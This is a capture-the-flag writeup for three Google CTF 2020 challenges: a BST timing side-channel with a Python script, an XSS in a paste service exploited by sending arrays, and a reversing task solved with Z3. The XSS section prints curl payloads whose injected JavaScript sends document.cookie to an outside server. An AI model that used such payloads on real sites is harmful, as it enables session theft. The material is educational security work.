Google CTF 2020 Writeup
The Google CTF was hard, so I don't feel so bad about only solving easy challenges. Writeup also available as a Gist.
Tracing #
Type: pwn, Points: 151, Solves: 79
Intro #
The challenge is a contract tracing system. The server plays the part of the contract tracing app which keeps a record of all IDs it has come into contact with. The IDs are 16 byte strings represented as UUIDs. It listens on a TCP socket for connections from the health authority, which sends lists of infected IDs. The server then checks whether any IDs it has recorded are infected.
The challenge is to force the server to disclose its IDs - one in particular will be the flag CTF{???????????}.
Since it never transmits the IDs, we need to use a side-channel attack to disclose the flag.
Getting output from the server #
The first problem when connecting is that there's no response from the server, whatever you send to it.
rlwrap nc tracing.2020.ctfcompetition.com 1337
Luckily, the challenge rust code builds easily with cargo build, so you can run it and see the debug messages.
Unfortunately, I still couldn't reach the line debug!("Received {} IDs", count); until I found out that you can hangup
just one side of a TCP connection.
You can shutdown just the client->server side, and still receive data back from the server.
In python you can use sock.shutdown(socket.SHUT_WR) and this makes the server continue past the await.
Comparison #
When sent a list of IDs via the TCP socket, the server first builds a binary search tree (BST). For each ID the server has recorded, it searches for it within the BST.
BST #
Let's imagine the IDs are single bytes rather than 16 bytes. If the server receives infected IDs 25,20,30,15,27,23,55,41,67,29,24,21,10,17,26 you will end up with this beautiful balanced BST:
25
______/ \______
/ \
20 30
/ \ / \
15 23 27 55
/ \ / \ / \ / \
10 17 21 24 26 29 41 67
If the server wants to check whether 28 exists within the BST, it walks down from the root.
- 28 > 25 (right)
- 28 < 30 (left)
- 28 > 27 (right)
- 28 < 29 (left, not found)
For a balanced binary search tree the lookup takes time O(log(n)). However, the server builds a binary search tree which isn't necessarily
balanced. The resulting tree depends on the order which the IDs are received.
If the IDs are received in the order 10,15,17,20,21,23,24,25,26,27,29,30,41,55,67 then the BST will be super unbalanced:
10
\
15
\
17
\
20
...
A lookup for 8 will only require comparison with the root (8 < 10) since there's nothing on the left.
A lookup for 70, will require comparisons with each item of the tree (70 > 10, 70 > 15, 70 > 17) giving the worst case
lookup of O(n).
Leaking IDs #
Since we, playing the role of the evil health authority, control the infected IDs sent to the server, we control the shape of the BST. By forcing a very unbalanced BST, the lookup takes much longer if the ID is on one side of the root node than the other.
If we guess a possible alphabet of !#$+-0123456789:<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ^_abcdefghijklmnopqrstuvwxyz, then
to determine the character after CTF{ we start in the middle with letter Q: bisection method.
Send the root CTF{Q!!!!!!!!!!} followed by 7000 IDs as far to the right as possible to produce a tree like:
CTF{Q!!!!!!!!!!}
CTF{zzzzzzzzzzz}
CTF{zzzzzzzzzzy}
CTF{zzzzzzzzzzx}
CTF{zzzzzzzzzzw}
CTF{zzzzzzzzzzv}
CTF{zzzzzzzzzzu}
...
Then shutdown the write side of the connection and time the duration until the server closes the connection.
def run(root, prefix, suffix, n, increase=True):
assert len(root) == 16
print(root, prefix, n, increase)
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(('tracing.2020.ctfcompetition.com', 1337))
sock.send(root.encode())
attempts = ...
for attempt in attempts:
sock.send(attempt)
sock.shutdown(socket.SHUT_WR)
data = sock.recv(4)
start = time.time_ns()
while data:
data = sock.recv(1)
end = time.time_ns()
sock.close()
timing = end - start
print(timing)
return timingIf the flag is anywhere to the right of the root, the server will have to search all the way through the 7000 IDs. If the flag is anywhere to the left of the root, the lookup will complete after just one comparison with the root.
Then make the BST weighted to the left and compare the timings. If the right-weighted tree lookup took much longer, the
first character of the flag is between Q and z: we set the midpoint to h.
At some point later we have determined that the flag starts CTF{1Bi and that the next character is within qrstuvwxy.
We send a right-weighted tree and it responds in 0.02ms.
CTF{1Biu!!!!!!!}
CTF{1Bi y zzzzzzz}
CTF{1Bi y zzzzzzy}
CTF{1Bi y zzzzzzx}
CTF{1Bi y zzzzzzw}
CTF{1Bi y zzzzzzv}
CTF{1Bi y zzzzzzu}
And the left-weighted tree responds in 88.6ms.
CTF{1Biuzzzzzzz}
CTF{1Biq!!!!!!!}
CTF{1Biq!!!!!!#}
CTF{1Biq!!!!!!$}
CTF{1Biq!!!!!!+}
CTF{1Biq!!!!!!-}
CTF{1Biq!!!!!!0}
So we guess that the character after CTF{1Bi is within qrstu (to the left).
There were some issues with getting accurate timings, especially when the midpoint was the correct letter, but with a
bit of messing around we get the flag CTF{1BitAtATime}.
This was a fun challenge that just requires a little computer science.
Pasteurize #
Type: web, Points: 50, Solves: 260
Let's investigate the source code.
Source code #
Body parser #
/* They say reCAPTCHA needs those. But does it? */
app.use(bodyParser.urlencoded({
extended: true
}));Extended body parser allows sending arrays and objects as form params.
You can send a=1&a=2 which makes req.body.a = ["1", "2"] (of type array instead of string as usual).
XSS in GET note #
/* Make sure to properly escape the note! */
app.get('/:id([a-f0-9\-]{36})', recaptcha.middleware.render, utils.cache_mw, async (req, res) => {
const note_id = req.params.id;
const note = await DB.get_note(note_id);
if (note == null) {
return res.status(404).send("Paste not found or access has been denied.");
}
const unsafe_content = note.content;
const safe_content = escape_string(unsafe_content); /***************************/
res.render('note_public', {
content: safe_content,
id: note_id,
captcha: res.recaptcha
});
});Let's look at the critical escape_string method:
/* Who wants a slice? */
const escape_string = unsafe => JSON.stringify(unsafe).slice(1, -1)
.replace(/</g, '\\x3C').replace(/>/g, '\\x3E');How does it work with strings?
escape_string('abc')
'abc'
escape_string('a"b"c')
'a\\"b\\"c'
But because of extended bodyparser we can send arrays:
escape_string([])
''
escape_string(['a', 'b'])
'"a","b"'
escape_string([';//'])
'";//"'
Solution #
The output of escape_string ends up being served within javascript surrounded by double quotes. We can break out of the double quotes by sending an array request such as:
curl -L https://pasteurize.web.ctfcompetition.com/ \
--data "content=;function aa(d) { const e = btoa(JSON.stringify(d)); return fetch(\`https://myserver/\`) } aa(document.cookie);//&content=x"The note contains html:
<script>
const note = "";function aa(d) { const e = btoa(JSON.stringify(d)); return fetch(`https://myserver/`) } aa(document.cookie);//","x"";
const note_id = "dc8ec4b1-0c03-4887-9e9e-b4d580759138";
const note_el = document.getElementById('note-content');
const note_url_el = document.getElementById('note-title');
const clean = DOMPurify.sanitize(note);
note_el.innerHTML = clean;
note_url_el.href = `/${note_id}`;
note_url_el.innerHTML = `${note_id}`;
</script>Now we just share the note with TJMike🎤 and wait for his headless Chrome to report the base64-encoded cookie with flag back to your server.
Extra #
I also tried to exploit the headless Chrome with puppet-puncher with payload
content=;var ok=0;function zzq(){if(ok){return;} ok=1; function aa(d) { const e = btoa(JSON.stringify(d)); return fetch(`https://myserver/?x=${e}`) } function rs(k, s) { aa([k, s]) } Object.keys(window).filter(function(k){return typeof window[k] == 'function'}).filter(function(k){return k.indexOf('zzq') == -1}).filter(function(k){return window[k].toString().indexOf('[bindingName]') != -1}).forEach(function(k){ const f = window[k];try{f({'toString': null, '__proto__': null}).then(function(){return f()}).then(function(f){return f([-1.3e99, 'n', null], 'hi', {'toString': null})}).then(function(r){return aa([k, r])}).catch(function(e){return rs(k, e.stack)})}catch(ee){}});aa(document.cookie)};window.onload=zzq;//&content=x
but no exposed functions were found.
Beginner #
Type: reversing, Points: 50, Solves: 482
Intro #
This binary verifies if a flag is correct or not. The flag isn't inside the binary: instead you have to understand how the verification works and reverse it to make a flag which outputs SUCCESS instead of FAILURE.
Disassembly #
Load it into gdb and disas main:
Dump of assembler code for function main:
0x0000000000001080 <+0>: push r12
0x0000000000001082 <+2>: lea rdi,[rip+0xf7b] # 0x2004
0x0000000000001089 <+9>: xor eax,eax
0x000000000000108b <+11>: push rbp
0x000000000000108c <+12>: sub rsp,0x28
0x0000000000001090 <+16>: call 0x1050 <printf@plt>
0x0000000000001095 <+21>: mov r12,rsp
0x0000000000001098 <+24>: xor eax,eax
0x000000000000109a <+26>: lea rbp,[rsp+0x10]
0x000000000000109f <+31>: mov rsi,r12
0x00000000000010a2 <+34>: lea rdi,[rip+0xf62] # 0x200b
0x00000000000010a9 <+41>: call 0x1060 <__isoc99_scanf@plt>
0x00000000000010ae <+46>: movdqa xmm0,XMMWORD PTR [rsp]
0x00000000000010b3 <+51>: mov rsi,rbp
0x00000000000010b6 <+54>: mov rdi,r12
0x00000000000010b9 <+57>: mov edx,0x10
0x00000000000010be <+62>: pshufb xmm0,XMMWORD PTR [rip+0x2fa9] # 0x4070 <SHUFFLE>
0x00000000000010c7 <+71>: paddd xmm0,XMMWORD PTR [rip+0x2f91] # 0x4060 <ADD32>
0x00000000000010cf <+79>: pxor xmm0,XMMWORD PTR [rip+0x2f79] # 0x4050 <XOR>
0x00000000000010d7 <+87>: movaps XMMWORD PTR [rsp+0x10],xmm0
0x00000000000010dc <+92>: call 0x1030 <strncmp@plt>
0x00000000000010e1 <+97>: test eax,eax
0x00000000000010e3 <+99>: jne 0x1100 <main+128>
0x00000000000010e5 <+101>: mov rsi,QWORD PTR [rip+0x2f94] # 0x4080 <EXPECTED_PREFIX>
0x00000000000010ec <+108>: mov edx,0x4
0x00000000000010f1 <+113>: mov rdi,rbp
0x00000000000010f4 <+116>: call 0x1030 <strncmp@plt>
0x00000000000010f9 <+121>: mov r12d,eax
0x00000000000010fc <+124>: test eax,eax
0x00000000000010fe <+126>: je 0x111d <main+157>
0x0000000000001100 <+128>: lea rdi,[rip+0xf11] # 0x2018
0x0000000000001107 <+135>: mov r12d,0x1
0x000000000000110d <+141>: call 0x1040 <puts@plt>
0x0000000000001112 <+146>: add rsp,0x28
0x0000000000001116 <+150>: mov eax,r12d
0x0000000000001119 <+153>: pop rbp
0x000000000000111a <+154>: pop r12
0x000000000000111c <+156>: ret
0x000000000000111d <+157>: lea rdi,[rip+0xeec] # 0x2010
0x0000000000001124 <+164>: call 0x1040 <puts@plt>
0x0000000000001129 <+169>: jmp 0x1112 <main+146>
End of assembler dump.
The key part is:
0x00000000000010be <+62>: pshufb xmm0,XMMWORD PTR [rip+0x2fa9] # 0x4070 <SHUFFLE>
0x00000000000010c7 <+71>: paddd xmm0,XMMWORD PTR [rip+0x2f91] # 0x4060 <ADD32>
0x00000000000010cf <+79>: pxor xmm0,XMMWORD PTR [rip+0x2f79] # 0x4050 <XOR>
0x00000000000010d7 <+87>: movaps XMMWORD PTR [rsp+0x10],xmm0
0x00000000000010dc <+92>: call 0x1030 <strncmp@plt>
The input (flag) is placed in a 128-bit register xmm0 and 3 128-bit operations are performed:
- Shuffle register based on key in 0x4070 (not randomly)
- Add register and value in 0x4060 as 4 32-bit uints (carry bits don't propaagate between the 4 additions)
- XOR with value in 0x4050
The result should equal the original input flag (strncmp).
Solution #
The XOR, ADD32, SHUFFLE keys can be extracted easily. However, shuffle was a bit confusing, so I just experimented to see how input was transformed:
# Set breakpoint just after shuffle
> break *main+71
> run
Flag: abcdefghijklmnopqr
> p (char[]) $xmm0
$1 = "cghbfljod\000eikmna"
Next to find an input which remains the same at the end of the 3 transformations I used the SAT solver Z3 (pip install z3-solver).
import struct
from z3 import *
shuffle_mask = [2, 6, 7, 1, 5, 11, 9, 14, 3, 15, 4, 8, 10, 12, 13, 0]
s = Solver()
original = Ints('_a _b _c _d _e _f _g _h _i _j _k _l _m _n _o')
shuffled = [original[i] if i != 15 else IntVal(0) for i in shuffle_mask]
ADD = [0xdeadbeef, 0xfee1dead, 0x13371337, 0x67637466]
# XOR = [0x49b45876, 0x385f1a8d, 0x34f823d4, 0xaaf986eb]
XOR = [0x76, 0x58, 0xb4, 0x49, 0x8d, 0x1a, 0x5f, 0x38, 0xd4, 0x23, 0xf8, 0x34, 0xeb, 0x86, 0xf9, 0xaa]
XOR = [BitVecVal(a, 8) for a in XOR]
# Add in 4 32-bit ints
mega_add = [
additive + sum(
x * (1 << (8 * j)) if j > 0 else x
for j, x in enumerate(shuffled[i*4:4*(i+1)])
)
for i, additive in enumerate(ADD)
]
# Split result back into 16 bytes
added = [
Int2BV(m / (1 << (8 * i)), 8) if i > 0 else Int2BV(m, 8)
for m in mega_add
for i in range(4)
]
xored = [added_var ^ xor for added_var, xor in zip(added, XOR)]
outputs = list(xored)
for i, cribbed in enumerate('CTF{*********!}'):
if cribbed != '*':
s.add(original[i] == ord(cribbed))
s.add(outputs[i] == ord(cribbed))
else:
s.add(outputs[i] == Int2BV(original[i], 8))
s.add(original[i] >= 33) # Guess alphabet range for flag
s.add(original[i] <= 126)
print("LETS GO")
print(s.check())
model = s.model()
print(model)
print([hex(model.eval(i).as_long()) for i in original])
print([hex(model.eval(i).as_long()) for i in shuffled])
print([hex(model.eval(i).as_long()) for i in added])
print([hex(model.eval(i).as_long()) for i in xored])
print([hex(model.eval(i).as_long()) for i in outputs])
print("".join(chr(model.eval(i).as_long()) for i in outputs))Which after 1 minute prints out the flag CTF{S1MDf0rM3!}.
- Previous: DEFCON:SM Car Hacking
- Next: DEFCON29 RTV CTF